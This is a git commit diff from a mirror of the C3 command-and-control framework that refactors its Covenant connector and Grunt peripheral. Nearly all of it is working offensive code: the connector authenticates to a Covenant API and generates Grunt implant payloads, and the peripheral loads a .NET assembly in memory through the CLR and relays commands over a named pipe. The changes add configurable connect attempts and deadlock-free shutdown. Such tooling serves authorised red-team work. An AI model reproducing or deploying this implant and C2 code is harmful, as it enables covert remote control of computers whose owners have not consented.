mirror of https://github.com/infosecn1nja/C3.git
refactor for merge request
parent
b29fd34656
commit
5f0f992406
|
@ -91,7 +91,7 @@ namespace MWR::C3::Interfaces::Connectors
|
|||
/// @param jitter percent to jitter the delay by
|
||||
/// @param listenerId the id of the Bridge listener for covenant
|
||||
/// @return generated payload.
|
||||
MWR::ByteVector GeneratePayload(ByteView binderId, std::string pipename, uint32_t delay, uint32_t jitter, uint32_t listenerId);
|
||||
MWR::ByteVector GeneratePayload(ByteView binderId, std::string pipename, uint32_t delay, uint32_t jitter, uint32_t listenerId, uint32_t connectAttempts);
|
||||
|
||||
/// Close desired connection
|
||||
/// @arguments arguments for command. connection Id in string form.
|
||||
|
@ -140,13 +140,9 @@ MWR::C3::Interfaces::Connectors::Covenant::Covenant(ByteView arguments)
|
|||
{
|
||||
json postData;
|
||||
json response;
|
||||
std::string postDataDump;
|
||||
std::string binary;
|
||||
|
||||
std::tie(m_ListeningPostAddress, m_ListeningPostPort, m_webHost, m_username, m_password) = arguments.Read<std::string, uint16_t, std::string, std::string, std::string>();
|
||||
InitializeSockets();
|
||||
|
||||
|
||||
|
||||
/***Authenticate to Web API ***/
|
||||
std::string url = this->m_webHost + OBF("/api/users/login");
|
||||
|
||||
|
@ -160,16 +156,10 @@ MWR::C3::Interfaces::Connectors::Covenant::Covenant(ByteView arguments)
|
|||
web::http::http_request request;
|
||||
|
||||
request = web::http::http_request(web::http::methods::POST);
|
||||
postDataDump = postData.dump();
|
||||
request.headers().set_content_type(utility::conversions::to_string_t(OBF("application/json")));
|
||||
request.set_body(utility::conversions::to_string_t(postDataDump));
|
||||
request.set_body(utility::conversions::to_string_t(postData.dump()));
|
||||
|
||||
pplx::task<web::http::http_response> task = webClient.request(request).then([&](web::http::http_response response)
|
||||
{
|
||||
return response;
|
||||
});
|
||||
|
||||
task.wait();
|
||||
pplx::task<web::http::http_response> task = webClient.request(request);
|
||||
web::http::http_response resp = task.get();
|
||||
|
||||
if (resp.status_code() == web::http::status_codes::OK)
|
||||
|
@ -186,6 +176,8 @@ MWR::C3::Interfaces::Connectors::Covenant::Covenant(ByteView arguments)
|
|||
this->m_token = response[OBF("covenantToken")].get<std::string>();
|
||||
else
|
||||
throw std::exception(OBF("[Covenant] Could not get token, invalid logon"));
|
||||
|
||||
InitializeSockets();
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
@ -225,14 +217,13 @@ bool MWR::C3::Interfaces::Connectors::Covenant::DeinitializeSockets()
|
|||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
MWR::ByteVector MWR::C3::Interfaces::Connectors::Covenant::GeneratePayload(ByteView binderId, std::string pipename, uint32_t delay, uint32_t jitter, uint32_t listenerId)
|
||||
MWR::ByteVector MWR::C3::Interfaces::Connectors::Covenant::GeneratePayload(ByteView binderId, std::string pipename, uint32_t delay, uint32_t jitter, uint32_t listenerId, uint32_t connectAttempts)
|
||||
{
|
||||
if (binderId.empty() || pipename.empty())
|
||||
throw std::runtime_error{ OBF("Wrong parameters, cannot create payload") };
|
||||
|
||||
std::string authHeader = OBF("Bearer ") + this->m_token;
|
||||
std::string contentHeader = OBF("Content-Type: application/json");
|
||||
std::string postDataDump;
|
||||
std::string binary;
|
||||
|
||||
web::http::client::http_client_config config;
|
||||
|
@ -251,34 +242,24 @@ MWR::ByteVector MWR::C3::Interfaces::Connectors::Covenant::GeneratePayload(ByteV
|
|||
postData[OBF("type")] = OBF("Wmic");
|
||||
postData[OBF("delay")] = delay;
|
||||
postData[OBF("jitterPercent")] = jitter;
|
||||
postData[OBF("connectAttempts")] = 5000;
|
||||
postData[OBF("connectAttempts")] = connectAttempts;
|
||||
|
||||
//First we use a PUT to add our data as the template.
|
||||
request = web::http::http_request(web::http::methods::PUT);
|
||||
postDataDump = postData.dump();
|
||||
try
|
||||
{
|
||||
request.headers().set_content_type(utility::conversions::to_string_t("application/json"));
|
||||
request.set_body(utility::conversions::to_string_t(postDataDump));
|
||||
request.set_body(utility::conversions::to_string_t(postData.dump()));
|
||||
|
||||
request.headers().add(OBF_W(L"Authorization"), utility::conversions::to_string_t(authHeader));
|
||||
pplx::task<web::http::http_response> task = webClient.request(request).then([&](web::http::http_response response)
|
||||
{
|
||||
return response;
|
||||
});
|
||||
|
||||
task.wait();
|
||||
pplx::task<web::http::http_response> task = webClient.request(request);
|
||||
web::http::http_response resp = task.get();
|
||||
|
||||
|
||||
//If we get 200 OK, then we use a POST to request the generation of the payload. We can reuse the previous data here.
|
||||
if (resp.status_code() == web::http::status_codes::OK)
|
||||
{
|
||||
request.set_method(web::http::methods::POST);
|
||||
task = webClient.request(request).then([&](web::http::http_response response)
|
||||
{
|
||||
return response;
|
||||
});
|
||||
task.wait();
|
||||
task = webClient.request(request);
|
||||
resp = task.get();
|
||||
|
||||
auto respData = resp.extract_string();
|
||||
|
@ -293,7 +274,7 @@ MWR::ByteVector MWR::C3::Interfaces::Connectors::Covenant::GeneratePayload(ByteV
|
|||
m_ConnectionMap.emplace(std::string{ binderId }, std::move(connection));
|
||||
return payload;
|
||||
}
|
||||
catch(std::exception e)
|
||||
catch(std::exception&)
|
||||
{
|
||||
throw std::exception(OBF("Error generating payload"));
|
||||
}
|
||||
|
@ -504,9 +485,9 @@ bool MWR::C3::Interfaces::Connectors::Covenant::Connection::SecondThreadStarted(
|
|||
|
||||
MWR::ByteVector MWR::C3::Interfaces::Connectors::Covenant::PeripheralCreationCommand(ByteView connectionId, ByteView data, bool isX64)
|
||||
{
|
||||
auto [pipeName, listenerId, delay, jitter] = data.Read<std::string, uint32_t, uint32_t, uint32_t>();
|
||||
auto [pipeName, listenerId, delay, jitter, connectAttempts] = data.Read<std::string, uint32_t, uint32_t, uint32_t, uint32_t>();
|
||||
|
||||
|
||||
return ByteVector{}.Write(pipeName, GeneratePayload(connectionId, pipeName, delay, jitter, listenerId));
|
||||
return ByteVector{}.Write(pipeName, GeneratePayload(connectionId, pipeName, delay, jitter, listenerId, connectAttempts), connectAttempts);
|
||||
}
|
||||
|
||||
|
|
|
@ -1,8 +1,9 @@
|
|||
#include "StdAfx.h"
|
||||
#include "Grunt.h"
|
||||
using namespace mscorlib;
|
||||
|
||||
//This function will run the .NET assembly
|
||||
void RuntimeV4Host(PBYTE pbAssembly, SIZE_T assemblyLen)
|
||||
static void RuntimeV4Host(PBYTE pbAssembly, SIZE_T assemblyLen)
|
||||
{
|
||||
HANDLE hHeap = GetProcessHeap();
|
||||
HRESULT hr;
|
||||
|
@ -159,7 +160,7 @@ Cleanup:
|
|||
MWR::C3::Interfaces::Peripherals::Grunt::Grunt(ByteView arguments)
|
||||
{
|
||||
|
||||
auto [pipeName, payload] = arguments.Read<std::string, ByteVector>();
|
||||
auto [pipeName, payload, connectAttempts] = arguments.Read<std::string, ByteVector, uint32_t>();
|
||||
|
||||
BYTE *x = (BYTE *)payload.data();
|
||||
SIZE_T len = payload.size();
|
||||
|
@ -177,29 +178,32 @@ MWR::C3::Interfaces::Peripherals::Grunt::Grunt(ByteView arguments)
|
|||
throw std::runtime_error{ OBF("Couldn't run payload: ") + std::to_string(GetLastError()) + OBF(".") };
|
||||
|
||||
std::this_thread::sleep_for(std::chrono::milliseconds{ 30 }); // Give Grunt thread time to start pipe.
|
||||
while(1)
|
||||
for (int i = 0; i < connectAttempts; i++)
|
||||
{
|
||||
try
|
||||
{
|
||||
m_Pipe = WinTools::AlternatingPipe{ ByteView{ pipeName } };
|
||||
return;
|
||||
{
|
||||
m_Pipe = WinTools::AlternatingPipe{ ByteView{ pipeName } };
|
||||
return;
|
||||
}
|
||||
catch (std::exception& e)
|
||||
{
|
||||
// Sleep between trials.
|
||||
Log({ OBF_SEC("Grunt constructor: ") + e.what(), LogMessage::Severity::DebugInformation });
|
||||
std::this_thread::sleep_for(std::chrono::milliseconds{ 100 });
|
||||
}
|
||||
}
|
||||
catch (std::exception& e)
|
||||
{
|
||||
// Sleep between trials.
|
||||
Log({ OBF_SEC("Grunt constructor: ") + e.what(), LogMessage::Severity::DebugInformation });
|
||||
std::this_thread::sleep_for(std::chrono::milliseconds{ 5 });
|
||||
}
|
||||
|
||||
return;
|
||||
|
||||
|
||||
std::runtime_error{ OBF("Grunt creation failed") };
|
||||
}
|
||||
|
||||
void MWR::C3::Interfaces::Peripherals::Grunt::OnCommandFromConnector(ByteView data)
|
||||
{
|
||||
// Get access to write when whole read is done.
|
||||
std::unique_lock<std::mutex> lock{ m_Mutex };
|
||||
m_ConditionalVariable.wait(lock, [this]() { return !m_ReadingState; });
|
||||
m_ConditionalVariable.wait(lock, [this]() { return !m_ReadingState || m_Close; });
|
||||
|
||||
if(m_Close)
|
||||
return;
|
||||
// Write to Covenant specific pipe
|
||||
m_Pipe->WriteCov(data);
|
||||
|
||||
|
@ -213,8 +217,11 @@ void MWR::C3::Interfaces::Peripherals::Grunt::OnCommandFromConnector(ByteView da
|
|||
MWR::ByteVector MWR::C3::Interfaces::Peripherals::Grunt::OnReceiveFromPeripheral()
|
||||
{
|
||||
std::unique_lock<std::mutex> lock{ m_Mutex };
|
||||
m_ConditionalVariable.wait(lock, [this]() { return m_ReadingState; });
|
||||
m_ConditionalVariable.wait(lock, [this]() { return m_ReadingState || m_Close; });
|
||||
|
||||
if(m_Close)
|
||||
return {};
|
||||
|
||||
// Read
|
||||
auto ret = m_Pipe->ReadCov();
|
||||
|
||||
|
@ -226,6 +233,15 @@ MWR::ByteVector MWR::C3::Interfaces::Peripherals::Grunt::OnReceiveFromPeripheral
|
|||
|
||||
}
|
||||
|
||||
void MWR::C3::Interfaces::Peripherals::Grunt::Close()
|
||||
{
|
||||
MWR::C3::Device::Close();
|
||||
std::scoped_lock lock(m_Mutex);
|
||||
m_Close = true;
|
||||
m_ConditionalVariable.notify_one();
|
||||
}
|
||||
|
||||
|
||||
MWR::ByteView MWR::C3::Interfaces::Peripherals::Grunt::GetCapability()
|
||||
{
|
||||
return R"(
|
||||
|
@ -261,6 +277,13 @@ MWR::ByteView MWR::C3::Interfaces::Peripherals::Grunt::GetCapability()
|
|||
"defaultValue" : 30,
|
||||
"name": "Jitter",
|
||||
"description": "Jitter"
|
||||
},
|
||||
{
|
||||
"type": "int32",
|
||||
"min": 10,
|
||||
"defaultValue" : 30,
|
||||
"name": "Connect Attempts",
|
||||
"description": "Number of attempts to connect to SMB Pipe"
|
||||
}
|
||||
]
|
||||
},
|
||||
|
|
|
@ -36,6 +36,10 @@ namespace MWR::C3::Interfaces::Peripherals
|
|||
/// Return json with commands.
|
||||
/// @return ByteView Commands description in JSON format.
|
||||
static ByteView GetCapability();
|
||||
|
||||
/// Close peripheral Grunt
|
||||
/// Calls superclass CLose and prepares to exit without deadlocking
|
||||
void Close() override;
|
||||
|
||||
private:
|
||||
|
||||
|
@ -52,5 +56,7 @@ namespace MWR::C3::Interfaces::Peripherals
|
|||
|
||||
/// Used to support beacon chunking data.
|
||||
bool m_ReadingState = true;
|
||||
|
||||
bool m_Close = false;
|
||||
};
|
||||
}
|
||||
|
|
Loading…
Reference in New Issue